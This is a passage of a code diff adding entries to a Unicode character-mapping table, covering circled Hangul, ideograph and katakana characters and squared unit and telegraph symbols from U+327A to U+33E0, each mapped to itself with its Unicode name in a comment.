+ ["\u327A", "\u327A"], /* CIRCLED HANGUL PHIEUPH A (CIRCLED HANGUL PA) */
+ ["\u327B", "\u327B"], /* CIRCLED HANGUL HIEUH A (CIRCLED HANGUL HA) */
+ ["\u327C", "\u327C"], /* CIRCLED KOREAN CHARACTER CHAMKO */
+ ["\u327D", "\u327D"], /* CIRCLED KOREAN CHARACTER JUEUI */
+ ["\u327E", "\u327E"], /* CIRCLED HANGUL IEUNG U */
+ ["\u327F", "\u327F"], /* KOREAN STANDARD SYMBOL */
+ ["\u3280", "\u3280"], /* CIRCLED IDEOGRAPH ONE */
+ ["\u3281", "\u3281"], /* CIRCLED IDEOGRAPH TWO */
+ ["\u3282", "\u3282"], /* CIRCLED IDEOGRAPH THREE */
+ ["\u3283", "\u3283"], /* CIRCLED IDEOGRAPH FOUR */
+ ["\u3284", "\u3284"], /* CIRCLED IDEOGRAPH FIVE */
+ ["\u3285", "\u3285"], /* CIRCLED IDEOGRAPH SIX */
+ ["\u3286", "\u3286"], /* CIRCLED IDEOGRAPH SEVEN */
+ ["\u3287", "\u3287"], /* CIRCLED IDEOGRAPH EIGHT */
+ ["\u3288", "\u3288"], /* CIRCLED IDEOGRAPH NINE */
+ ["\u3289", "\u3289"], /* CIRCLED IDEOGRAPH TEN */
+ ["\u328A", "\u328A"], /* CIRCLED IDEOGRAPH MOON */
+ ["\u328B", "\u328B"], /* CIRCLED IDEOGRAPH FIRE */
+ ["\u328C", "\u328C"], /* CIRCLED IDEOGRAPH WATER */
+ ["\u328D", "\u328D"], /* CIRCLED IDEOGRAPH WOOD */
+ ["\u328E", "\u328E"], /* CIRCLED IDEOGRAPH METAL */
+ ["\u328F", "\u328F"], /* CIRCLED IDEOGRAPH EARTH */
+ ["\u3290", "\u3290"], /* CIRCLED IDEOGRAPH SUN */
+ ["\u3291", "\u3291"], /* CIRCLED IDEOGRAPH STOCK */
+ ["\u3292", "\u3292"], /* CIRCLED IDEOGRAPH HAVE */
+ ["\u3293", "\u3293"], /* CIRCLED IDEOGRAPH SOCIETY */
+ ["\u3294", "\u3294"], /* CIRCLED IDEOGRAPH NAME */
+ ["\u3295", "\u3295"], /* CIRCLED IDEOGRAPH SPECIAL */
+ ["\u3296", "\u3296"], /* CIRCLED IDEOGRAPH FINANCIAL */
+ ["\u3297", "\u3297"], /* CIRCLED IDEOGRAPH CONGRATULATION */
+ ["\u3298", "\u3298"], /* CIRCLED IDEOGRAPH LABOR */
+ ["\u3299", "\u3299"], /* CIRCLED IDEOGRAPH SECRET */
+ ["\u329A", "\u329A"], /* CIRCLED IDEOGRAPH MALE */
+ ["\u329B", "\u329B"], /* CIRCLED IDEOGRAPH FEMALE */
+ ["\u329C", "\u329C"], /* CIRCLED IDEOGRAPH SUITABLE */
+ ["\u329D", "\u329D"], /* CIRCLED IDEOGRAPH EXCELLENT */
+ ["\u329E", "\u329E"], /* CIRCLED IDEOGRAPH PRINT */
+ ["\u329F", "\u329F"], /* CIRCLED IDEOGRAPH ATTENTION */
+ ["\u32A0", "\u32A0"], /* CIRCLED IDEOGRAPH ITEM */
+ ["\u32A1", "\u32A1"], /* CIRCLED IDEOGRAPH REST */
+ ["\u32A2", "\u32A2"], /* CIRCLED IDEOGRAPH COPY */
+ ["\u32A3", "\u32A3"], /* CIRCLED IDEOGRAPH CORRECT */
+ ["\u32A4", "\u32A4"], /* CIRCLED IDEOGRAPH HIGH */
+ ["\u32A5", "\u32A5"], /* CIRCLED IDEOGRAPH CENTRE (CIRCLED IDEOGRAPH CENTER) */
+ ["\u32A6", "\u32A6"], /* CIRCLED IDEOGRAPH LOW */
+ ["\u32A7", "\u32A7"], /* CIRCLED IDEOGRAPH LEFT */
+ ["\u32A8", "\u32A8"], /* CIRCLED IDEOGRAPH RIGHT */
+ ["\u32A9", "\u32A9"], /* CIRCLED IDEOGRAPH MEDICINE */
+ ["\u32AA", "\u32AA"], /* CIRCLED IDEOGRAPH RELIGION */
+ ["\u32AB", "\u32AB"], /* CIRCLED IDEOGRAPH STUDY */
+ ["\u32AC", "\u32AC"], /* CIRCLED IDEOGRAPH SUPERVISE */
+ ["\u32AD", "\u32AD"], /* CIRCLED IDEOGRAPH ENTERPRISE */
+ ["\u32AE", "\u32AE"], /* CIRCLED IDEOGRAPH RESOURCE */
+ ["\u32AF", "\u32AF"], /* CIRCLED IDEOGRAPH ALLIANCE */
+ ["\u32B0", "\u32B0"], /* CIRCLED IDEOGRAPH NIGHT */
+ ["\u32B1", "\u32B1"], /* CIRCLED NUMBER THIRTY SIX */
+ ["\u32B2", "\u32B2"], /* CIRCLED NUMBER THIRTY SEVEN */
+ ["\u32B3", "\u32B3"], /* CIRCLED NUMBER THIRTY EIGHT */
+ ["\u32B4", "\u32B4"], /* CIRCLED NUMBER THIRTY NINE */
+ ["\u32B5", "\u32B5"], /* CIRCLED NUMBER FORTY */
+ ["\u32B6", "\u32B6"], /* CIRCLED NUMBER FORTY ONE */
+ ["\u32B7", "\u32B7"], /* CIRCLED NUMBER FORTY TWO */
+ ["\u32B8", "\u32B8"], /* CIRCLED NUMBER FORTY THREE */
+ ["\u32B9", "\u32B9"], /* CIRCLED NUMBER FORTY FOUR */
+ ["\u32BA", "\u32BA"], /* CIRCLED NUMBER FORTY FIVE */
+ ["\u32BB", "\u32BB"], /* CIRCLED NUMBER FORTY SIX */
+ ["\u32BC", "\u32BC"], /* CIRCLED NUMBER FORTY SEVEN */
+ ["\u32BD", "\u32BD"], /* CIRCLED NUMBER FORTY EIGHT */
+ ["\u32BE", "\u32BE"], /* CIRCLED NUMBER FORTY NINE */
+ ["\u32BF", "\u32BF"], /* CIRCLED NUMBER FIFTY */
+ ["\u32C0", "\u32C0"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR JANUARY */
+ ["\u32C1", "\u32C1"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR FEBRUARY */
+ ["\u32C2", "\u32C2"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR MARCH */
+ ["\u32C3", "\u32C3"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR APRIL */
+ ["\u32C4", "\u32C4"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR MAY */
+ ["\u32C5", "\u32C5"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR JUNE */
+ ["\u32C6", "\u32C6"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR JULY */
+ ["\u32C7", "\u32C7"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR AUGUST */
+ ["\u32C8", "\u32C8"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR SEPTEMBER */
+ ["\u32C9", "\u32C9"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR OCTOBER */
+ ["\u32CA", "\u32CA"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR NOVEMBER */
+ ["\u32CB", "\u32CB"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DECEMBER */
+ ["\u32CC", "\u32CC"], /* SQUARE HG */
+ ["\u32CD", "\u32CD"], /* SQUARE ERG */
+ ["\u32CE", "\u32CE"], /* SQUARE EV */
+ ["\u32CF", "\u32CF"], /* LIMITED LIABILITY SIGN */
+ ["\u32D0", "\u32D0"], /* CIRCLED KATAKANA A */
+ ["\u32D1", "\u32D1"], /* CIRCLED KATAKANA I */
+ ["\u32D2", "\u32D2"], /* CIRCLED KATAKANA U */
+ ["\u32D3", "\u32D3"], /* CIRCLED KATAKANA E */
+ ["\u32D4", "\u32D4"], /* CIRCLED KATAKANA O */
+ ["\u32D5", "\u32D5"], /* CIRCLED KATAKANA KA */
+ ["\u32D6", "\u32D6"], /* CIRCLED KATAKANA KI */
+ ["\u32D7", "\u32D7"], /* CIRCLED KATAKANA KU */
+ ["\u32D8", "\u32D8"], /* CIRCLED KATAKANA KE */
+ ["\u32D9", "\u32D9"], /* CIRCLED KATAKANA KO */
+ ["\u32DA", "\u32DA"], /* CIRCLED KATAKANA SA */
+ ["\u32DB", "\u32DB"], /* CIRCLED KATAKANA SI */
+ ["\u32DC", "\u32DC"], /* CIRCLED KATAKANA SU */
+ ["\u32DD", "\u32DD"], /* CIRCLED KATAKANA SE */
+ ["\u32DE", "\u32DE"], /* CIRCLED KATAKANA SO */
+ ["\u32DF", "\u32DF"], /* CIRCLED KATAKANA TA */
+ ["\u32E0", "\u32E0"], /* CIRCLED KATAKANA TI */
+ ["\u32E1", "\u32E1"], /* CIRCLED KATAKANA TU */
+ ["\u32E2", "\u32E2"], /* CIRCLED KATAKANA TE */
+ ["\u32E3", "\u32E3"], /* CIRCLED KATAKANA TO */
+ ["\u32E4", "\u32E4"], /* CIRCLED KATAKANA NA */
+ ["\u32E5", "\u32E5"], /* CIRCLED KATAKANA NI */
+ ["\u32E6", "\u32E6"], /* CIRCLED KATAKANA NU */
+ ["\u32E7", "\u32E7"], /* CIRCLED KATAKANA NE */
+ ["\u32E8", "\u32E8"], /* CIRCLED KATAKANA NO */
+ ["\u32E9", "\u32E9"], /* CIRCLED KATAKANA HA */
+ ["\u32EA", "\u32EA"], /* CIRCLED KATAKANA HI */
+ ["\u32EB", "\u32EB"], /* CIRCLED KATAKANA HU */
+ ["\u32EC", "\u32EC"], /* CIRCLED KATAKANA HE */
+ ["\u32ED", "\u32ED"], /* CIRCLED KATAKANA HO */
+ ["\u32EE", "\u32EE"], /* CIRCLED KATAKANA MA */
+ ["\u32EF", "\u32EF"], /* CIRCLED KATAKANA MI */
+ ["\u32F0", "\u32F0"], /* CIRCLED KATAKANA MU */
+ ["\u32F1", "\u32F1"], /* CIRCLED KATAKANA ME */
+ ["\u32F2", "\u32F2"], /* CIRCLED KATAKANA MO */
+ ["\u32F3", "\u32F3"], /* CIRCLED KATAKANA YA */
+ ["\u32F4", "\u32F4"], /* CIRCLED KATAKANA YU */
+ ["\u32F5", "\u32F5"], /* CIRCLED KATAKANA YO */
+ ["\u32F6", "\u32F6"], /* CIRCLED KATAKANA RA */
+ ["\u32F7", "\u32F7"], /* CIRCLED KATAKANA RI */
+ ["\u32F8", "\u32F8"], /* CIRCLED KATAKANA RU */
+ ["\u32F9", "\u32F9"], /* CIRCLED KATAKANA RE */
+ ["\u32FA", "\u32FA"], /* CIRCLED KATAKANA RO */
+ ["\u32FB", "\u32FB"], /* CIRCLED KATAKANA WA */
+ ["\u32FC", "\u32FC"], /* CIRCLED KATAKANA WI */
+ ["\u32FD", "\u32FD"], /* CIRCLED KATAKANA WE */
+ ["\u32FE", "\u32FE"], /* CIRCLED KATAKANA WO */
+ ["\u32FF", "\u32FF"], /* SQUARE ERA NAME REIWA */
+ ["\u3300", "\u3300"], /* SQUARE APAATO (SQUARED APAATO) */
+ ["\u3301", "\u3301"], /* SQUARE ARUHUA (SQUARED ARUHUA) */
+ ["\u3302", "\u3302"], /* SQUARE ANPEA (SQUARED ANPEA) */
+ ["\u3303", "\u3303"], /* SQUARE AARU (SQUARED AARU) */
+ ["\u3304", "\u3304"], /* SQUARE ININGU (SQUARED ININGU) */
+ ["\u3305", "\u3305"], /* SQUARE INTI (SQUARED INTI) */
+ ["\u3306", "\u3306"], /* SQUARE UON (SQUARED UON) */
+ ["\u3307", "\u3307"], /* SQUARE ESUKUUDO (SQUARED ESUKUUDO) */
+ ["\u3308", "\u3308"], /* SQUARE EEKAA (SQUARED EEKAA) */
+ ["\u3309", "\u3309"], /* SQUARE ONSU (SQUARED ONSU) */
+ ["\u330A", "\u330A"], /* SQUARE OOMU (SQUARED OOMU) */
+ ["\u330B", "\u330B"], /* SQUARE KAIRI (SQUARED KAIRI) */
+ ["\u330C", "\u330C"], /* SQUARE KARATTO (SQUARED KARATTO) */
+ ["\u330D", "\u330D"], /* SQUARE KARORII (SQUARED KARORII) */
+ ["\u330E", "\u330E"], /* SQUARE GARON (SQUARED GARON) */
+ ["\u330F", "\u330F"], /* SQUARE GANMA (SQUARED GANMA) */
+ ["\u3310", "\u3310"], /* SQUARE GIGA (SQUARED GIGA) */
+ ["\u3311", "\u3311"], /* SQUARE GINII (SQUARED GINII) */
+ ["\u3312", "\u3312"], /* SQUARE KYURII (SQUARED KYURII) */
+ ["\u3313", "\u3313"], /* SQUARE GIRUDAA (SQUARED GIRUDAA) */
+ ["\u3314", "\u3314"], /* SQUARE KIRO (SQUARED KIRO) */
+ ["\u3315", "\u3315"], /* SQUARE KIROGURAMU (SQUARED KIROGURAMU) */
+ ["\u3316", "\u3316"], /* SQUARE KIROMEETORU (SQUARED KIROMEETORU) */
+ ["\u3317", "\u3317"], /* SQUARE KIROWATTO (SQUARED KIROWATTO) */
+ ["\u3318", "\u3318"], /* SQUARE GURAMU (SQUARED GURAMU) */
+ ["\u3319", "\u3319"], /* SQUARE GURAMUTON (SQUARED GURAMUTON) */
+ ["\u331A", "\u331A"], /* SQUARE KURUZEIRO (SQUARED KURUZEIRO) */
+ ["\u331B", "\u331B"], /* SQUARE KUROONE (SQUARED KUROONE) */
+ ["\u331C", "\u331C"], /* SQUARE KEESU (SQUARED KEESU) */
+ ["\u331D", "\u331D"], /* SQUARE KORUNA (SQUARED KORUNA) */
+ ["\u331E", "\u331E"], /* SQUARE KOOPO (SQUARED KOOPO) */
+ ["\u331F", "\u331F"], /* SQUARE SAIKURU (SQUARED SAIKURU) */
+ ["\u3320", "\u3320"], /* SQUARE SANTIIMU (SQUARED SANTIIMU) */
+ ["\u3321", "\u3321"], /* SQUARE SIRINGU (SQUARED SIRINGU) */
+ ["\u3322", "\u3322"], /* SQUARE SENTI (SQUARED SENTI) */
+ ["\u3323", "\u3323"], /* SQUARE SENTO (SQUARED SENTO) */
+ ["\u3324", "\u3324"], /* SQUARE DAASU (SQUARED DAASU) */
+ ["\u3325", "\u3325"], /* SQUARE DESI (SQUARED DESI) */
+ ["\u3326", "\u3326"], /* SQUARE DORU (SQUARED DORU) */
+ ["\u3327", "\u3327"], /* SQUARE TON (SQUARED TON) */
+ ["\u3328", "\u3328"], /* SQUARE NANO (SQUARED NANO) */
+ ["\u3329", "\u3329"], /* SQUARE NOTTO (SQUARED NOTTO) */
+ ["\u332A", "\u332A"], /* SQUARE HAITU (SQUARED HAITU) */
+ ["\u332B", "\u332B"], /* SQUARE PAASENTO (SQUARED PAASENTO) */
+ ["\u332C", "\u332C"], /* SQUARE PAATU (SQUARED PAATU) */
+ ["\u332D", "\u332D"], /* SQUARE BAARERU (SQUARED BAARERU) */
+ ["\u332E", "\u332E"], /* SQUARE PIASUTORU (SQUARED PIASUTORU) */
+ ["\u332F", "\u332F"], /* SQUARE PIKURU (SQUARED PIKURU) */
+ ["\u3330", "\u3330"], /* SQUARE PIKO (SQUARED PIKO) */
+ ["\u3331", "\u3331"], /* SQUARE BIRU (SQUARED BIRU) */
+ ["\u3332", "\u3332"], /* SQUARE HUARADDO (SQUARED HUARADDO) */
+ ["\u3333", "\u3333"], /* SQUARE HUIITO (SQUARED HUIITO) */
+ ["\u3334", "\u3334"], /* SQUARE BUSSYERU (SQUARED BUSSYERU) */
+ ["\u3335", "\u3335"], /* SQUARE HURAN (SQUARED HURAN) */
+ ["\u3336", "\u3336"], /* SQUARE HEKUTAARU (SQUARED HEKUTAARU) */
+ ["\u3337", "\u3337"], /* SQUARE PESO (SQUARED PESO) */
+ ["\u3338", "\u3338"], /* SQUARE PENIHI (SQUARED PENIHI) */
+ ["\u3339", "\u3339"], /* SQUARE HERUTU (SQUARED HERUTU) */
+ ["\u333A", "\u333A"], /* SQUARE PENSU (SQUARED PENSU) */
+ ["\u333B", "\u333B"], /* SQUARE PEEZI (SQUARED PEEZI) */
+ ["\u333C", "\u333C"], /* SQUARE BEETA (SQUARED BEETA) */
+ ["\u333D", "\u333D"], /* SQUARE POINTO (SQUARED POINTO) */
+ ["\u333E", "\u333E"], /* SQUARE BORUTO (SQUARED BORUTO) */
+ ["\u333F", "\u333F"], /* SQUARE HON (SQUARED HON) */
+ ["\u3340", "\u3340"], /* SQUARE PONDO (SQUARED PONDO) */
+ ["\u3341", "\u3341"], /* SQUARE HOORU (SQUARED HOORU) */
+ ["\u3342", "\u3342"], /* SQUARE HOON (SQUARED HOON) */
+ ["\u3343", "\u3343"], /* SQUARE MAIKURO (SQUARED MAIKURO) */
+ ["\u3344", "\u3344"], /* SQUARE MAIRU (SQUARED MAIRU) */
+ ["\u3345", "\u3345"], /* SQUARE MAHHA (SQUARED MAHHA) */
+ ["\u3346", "\u3346"], /* SQUARE MARUKU (SQUARED MARUKU) */
+ ["\u3347", "\u3347"], /* SQUARE MANSYON (SQUARED MANSYON) */
+ ["\u3348", "\u3348"], /* SQUARE MIKURON (SQUARED MIKURON) */
+ ["\u3349", "\u3349"], /* SQUARE MIRI (SQUARED MIRI) */
+ ["\u334A", "\u334A"], /* SQUARE MIRIBAARU (SQUARED MIRIBAARU) */
+ ["\u334B", "\u334B"], /* SQUARE MEGA (SQUARED MEGA) */
+ ["\u334C", "\u334C"], /* SQUARE MEGATON (SQUARED MEGATON) */
+ ["\u334D", "\u334D"], /* SQUARE MEETORU (SQUARED MEETORU) */
+ ["\u334E", "\u334E"], /* SQUARE YAADO (SQUARED YAADO) */
+ ["\u334F", "\u334F"], /* SQUARE YAARU (SQUARED YAARU) */
+ ["\u3350", "\u3350"], /* SQUARE YUAN (SQUARED YUAN) */
+ ["\u3351", "\u3351"], /* SQUARE RITTORU (SQUARED RITTORU) */
+ ["\u3352", "\u3352"], /* SQUARE RIRA (SQUARED RIRA) */
+ ["\u3353", "\u3353"], /* SQUARE RUPII (SQUARED RUPII) */
+ ["\u3354", "\u3354"], /* SQUARE RUUBURU (SQUARED RUUBURU) */
+ ["\u3355", "\u3355"], /* SQUARE REMU (SQUARED REMU) */
+ ["\u3356", "\u3356"], /* SQUARE RENTOGEN (SQUARED RENTOGEN) */
+ ["\u3357", "\u3357"], /* SQUARE WATTO (SQUARED WATTO) */
+ ["\u3358", "\u3358"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ZERO */
+ ["\u3359", "\u3359"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ONE */
+ ["\u335A", "\u335A"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWO */
+ ["\u335B", "\u335B"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THREE */
+ ["\u335C", "\u335C"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOUR */
+ ["\u335D", "\u335D"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIVE */
+ ["\u335E", "\u335E"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIX */
+ ["\u335F", "\u335F"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVEN */
+ ["\u3360", "\u3360"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHT */
+ ["\u3361", "\u3361"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINE */
+ ["\u3362", "\u3362"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TEN */
+ ["\u3363", "\u3363"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ELEVEN */
+ ["\u3364", "\u3364"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWELVE */
+ ["\u3365", "\u3365"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THIRTEEN */
+ ["\u3366", "\u3366"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOURTEEN */
+ ["\u3367", "\u3367"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIFTEEN */
+ ["\u3368", "\u3368"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIXTEEN */
+ ["\u3369", "\u3369"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVENTEEN */
+ ["\u336A", "\u336A"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHTEEN */
+ ["\u336B", "\u336B"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINETEEN */
+ ["\u336C", "\u336C"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY */
+ ["\u336D", "\u336D"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-ONE */
+ ["\u336E", "\u336E"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-TWO */
+ ["\u336F", "\u336F"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-THREE */
+ ["\u3370", "\u3370"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-FOUR */
+ ["\u3371", "\u3371"], /* SQUARE HPA */
+ ["\u3372", "\u3372"], /* SQUARE DA */
+ ["\u3373", "\u3373"], /* SQUARE AU */
+ ["\u3374", "\u3374"], /* SQUARE BAR */
+ ["\u3375", "\u3375"], /* SQUARE OV */
+ ["\u3376", "\u3376"], /* SQUARE PC */
+ ["\u3377", "\u3377"], /* SQUARE DM */
+ ["\u3378", "\u3378"], /* SQUARE DM SQUARED */
+ ["\u3379", "\u3379"], /* SQUARE DM CUBED */
+ ["\u337A", "\u337A"], /* SQUARE IU */
+ ["\u337B", "\u337B"], /* SQUARE ERA NAME HEISEI (SQUARED TWO IDEOGRAPHS ERA NAME HEISEI) */
+ ["\u337C", "\u337C"], /* SQUARE ERA NAME SYOUWA (SQUARED TWO IDEOGRAPHS ERA NAME SYOUWA) */
+ ["\u337D", "\u337D"], /* SQUARE ERA NAME TAISYOU (SQUARED TWO IDEOGRAPHS ERA NAME TAISYOU) */
+ ["\u337E", "\u337E"], /* SQUARE ERA NAME MEIZI (SQUARED TWO IDEOGRAPHS ERA NAME MEIZI) */
+ ["\u337F", "\u337F"], /* SQUARE CORPORATION (SQUARED FOUR IDEOGRAPHS CORPORATION) */
+ ["\u3380", "\u3380"], /* SQUARE PA AMPS (SQUARED PA AMPS) */
+ ["\u3381", "\u3381"], /* SQUARE NA (SQUARED NA) */
+ ["\u3382", "\u3382"], /* SQUARE MU A (SQUARED MU A) */
+ ["\u3383", "\u3383"], /* SQUARE MA (SQUARED MA) */
+ ["\u3384", "\u3384"], /* SQUARE KA (SQUARED KA) */
+ ["\u3385", "\u3385"], /* SQUARE KB (SQUARED KB) */
+ ["\u3386", "\u3386"], /* SQUARE MB (SQUARED MB) */
+ ["\u3387", "\u3387"], /* SQUARE GB (SQUARED GB) */
+ ["\u3388", "\u3388"], /* SQUARE CAL (SQUARED CAL) */
+ ["\u3389", "\u3389"], /* SQUARE KCAL (SQUARED KCAL) */
+ ["\u338A", "\u338A"], /* SQUARE PF (SQUARED PF) */
+ ["\u338B", "\u338B"], /* SQUARE NF (SQUARED NF) */
+ ["\u338C", "\u338C"], /* SQUARE MU F (SQUARED MU F) */
+ ["\u338D", "\u338D"], /* SQUARE MU G (SQUARED MU G) */
+ ["\u338E", "\u338E"], /* SQUARE MG (SQUARED MG) */
+ ["\u338F", "\u338F"], /* SQUARE KG (SQUARED KG) */
+ ["\u3390", "\u3390"], /* SQUARE HZ (SQUARED HZ) */
+ ["\u3391", "\u3391"], /* SQUARE KHZ (SQUARED KHZ) */
+ ["\u3392", "\u3392"], /* SQUARE MHZ (SQUARED MHZ) */
+ ["\u3393", "\u3393"], /* SQUARE GHZ (SQUARED GHZ) */
+ ["\u3394", "\u3394"], /* SQUARE THZ (SQUARED THZ) */
+ ["\u3395", "\u3395"], /* SQUARE MU L (SQUARED MU L) */
+ ["\u3396", "\u3396"], /* SQUARE ML (SQUARED ML) */
+ ["\u3397", "\u3397"], /* SQUARE DL (SQUARED DL) */
+ ["\u3398", "\u3398"], /* SQUARE KL (SQUARED KL) */
+ ["\u3399", "\u3399"], /* SQUARE FM (SQUARED FM) */
+ ["\u339A", "\u339A"], /* SQUARE NM (SQUARED NM) */
+ ["\u339B", "\u339B"], /* SQUARE MU M (SQUARED MU M) */
+ ["\u339C", "\u339C"], /* SQUARE MM (SQUARED MM) */
+ ["\u339D", "\u339D"], /* SQUARE CM (SQUARED CM) */
+ ["\u339E", "\u339E"], /* SQUARE KM (SQUARED KM) */
+ ["\u339F", "\u339F"], /* SQUARE MM SQUARED (SQUARED MM SQUARED) */
+ ["\u33A0", "\u33A0"], /* SQUARE CM SQUARED (SQUARED CM SQUARED) */
+ ["\u33A1", "\u33A1"], /* SQUARE M SQUARED (SQUARED M SQUARED) */
+ ["\u33A2", "\u33A2"], /* SQUARE KM SQUARED (SQUARED KM SQUARED) */
+ ["\u33A3", "\u33A3"], /* SQUARE MM CUBED (SQUARED MM CUBED) */
+ ["\u33A4", "\u33A4"], /* SQUARE CM CUBED (SQUARED CM CUBED) */
+ ["\u33A5", "\u33A5"], /* SQUARE M CUBED (SQUARED M CUBED) */
+ ["\u33A6", "\u33A6"], /* SQUARE KM CUBED (SQUARED KM CUBED) */
+ ["\u33A7", "\u33A7"], /* SQUARE M OVER S (SQUARED M OVER S) */
+ ["\u33A8", "\u33A8"], /* SQUARE M OVER S SQUARED (SQUARED M OVER S SQUARED) */
+ ["\u33A9", "\u33A9"], /* SQUARE PA (SQUARED PA) */
+ ["\u33AA", "\u33AA"], /* SQUARE KPA (SQUARED KPA) */
+ ["\u33AB", "\u33AB"], /* SQUARE MPA (SQUARED MPA) */
+ ["\u33AC", "\u33AC"], /* SQUARE GPA (SQUARED GPA) */
+ ["\u33AD", "\u33AD"], /* SQUARE RAD (SQUARED RAD) */
+ ["\u33AE", "\u33AE"], /* SQUARE RAD OVER S (SQUARED RAD OVER S) */
+ ["\u33AF", "\u33AF"], /* SQUARE RAD OVER S SQUARED (SQUARED RAD OVER S SQUARED) */
+ ["\u33B0", "\u33B0"], /* SQUARE PS (SQUARED PS) */
+ ["\u33B1", "\u33B1"], /* SQUARE NS (SQUARED NS) */
+ ["\u33B2", "\u33B2"], /* SQUARE MU S (SQUARED MU S) */
+ ["\u33B3", "\u33B3"], /* SQUARE MS (SQUARED MS) */
+ ["\u33B4", "\u33B4"], /* SQUARE PV (SQUARED PV) */
+ ["\u33B5", "\u33B5"], /* SQUARE NV (SQUARED NV) */
+ ["\u33B6", "\u33B6"], /* SQUARE MU V (SQUARED MU V) */
+ ["\u33B7", "\u33B7"], /* SQUARE MV (SQUARED MV) */
+ ["\u33B8", "\u33B8"], /* SQUARE KV (SQUARED KV) */
+ ["\u33B9", "\u33B9"], /* SQUARE MV MEGA (SQUARED MV MEGA) */
+ ["\u33BA", "\u33BA"], /* SQUARE PW (SQUARED PW) */
+ ["\u33BB", "\u33BB"], /* SQUARE NW (SQUARED NW) */
+ ["\u33BC", "\u33BC"], /* SQUARE MU W (SQUARED MU W) */
+ ["\u33BD", "\u33BD"], /* SQUARE MW (SQUARED MW) */
+ ["\u33BE", "\u33BE"], /* SQUARE KW (SQUARED KW) */
+ ["\u33BF", "\u33BF"], /* SQUARE MW MEGA (SQUARED MW MEGA) */
+ ["\u33C0", "\u33C0"], /* SQUARE K OHM (SQUARED K OHM) */
+ ["\u33C1", "\u33C1"], /* SQUARE M OHM (SQUARED M OHM) */
+ ["\u33C2", "\u33C2"], /* SQUARE AM (SQUARED AM) */
+ ["\u33C3", "\u33C3"], /* SQUARE BQ (SQUARED BQ) */
+ ["\u33C4", "\u33C4"], /* SQUARE CC (SQUARED CC) */
+ ["\u33C5", "\u33C5"], /* SQUARE CD (SQUARED CD) */
+ ["\u33C6", "\u33C6"], /* SQUARE C OVER KG (SQUARED C OVER KG) */
+ ["\u33C7", "\u33C7"], /* SQUARE CO (SQUARED CO) */
+ ["\u33C8", "\u33C8"], /* SQUARE DB (SQUARED DB) */
+ ["\u33C9", "\u33C9"], /* SQUARE GY (SQUARED GY) */
+ ["\u33CA", "\u33CA"], /* SQUARE HA (SQUARED HA) */
+ ["\u33CB", "\u33CB"], /* SQUARE HP (SQUARED HP) */
+ ["\u33CC", "\u33CC"], /* SQUARE IN (SQUARED IN) */
+ ["\u33CD", "\u33CD"], /* SQUARE KK (SQUARED KK) */
+ ["\u33CE", "\u33CE"], /* SQUARE KM CAPITAL (SQUARED KM CAPITAL) */
+ ["\u33CF", "\u33CF"], /* SQUARE KT (SQUARED KT) */
+ ["\u33D0", "\u33D0"], /* SQUARE LM (SQUARED LM) */
+ ["\u33D1", "\u33D1"], /* SQUARE LN (SQUARED LN) */
+ ["\u33D2", "\u33D2"], /* SQUARE LOG (SQUARED LOG) */
+ ["\u33D3", "\u33D3"], /* SQUARE LX (SQUARED LX) */
+ ["\u33D4", "\u33D4"], /* SQUARE MB SMALL (SQUARED MB SMALL) */
+ ["\u33D5", "\u33D5"], /* SQUARE MIL (SQUARED MIL) */
+ ["\u33D6", "\u33D6"], /* SQUARE MOL (SQUARED MOL) */
+ ["\u33D7", "\u33D7"], /* SQUARE PH (SQUARED PH) */
+ ["\u33D8", "\u33D8"], /* SQUARE PM (SQUARED PM) */
+ ["\u33D9", "\u33D9"], /* SQUARE PPM (SQUARED PPM) */
+ ["\u33DA", "\u33DA"], /* SQUARE PR (SQUARED PR) */
+ ["\u33DB", "\u33DB"], /* SQUARE SR (SQUARED SR) */
+ ["\u33DC", "\u33DC"], /* SQUARE SV (SQUARED SV) */
+ ["\u33DD", "\u33DD"], /* SQUARE WB (SQUARED WB) */
+ ["\u33DE", "\u33DE"], /* SQUARE V OVER M */
+ ["\u33DF", "\u33DF"], /* SQUARE A OVER M */
+ ["\u33E0", "\u33E0"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ONE */
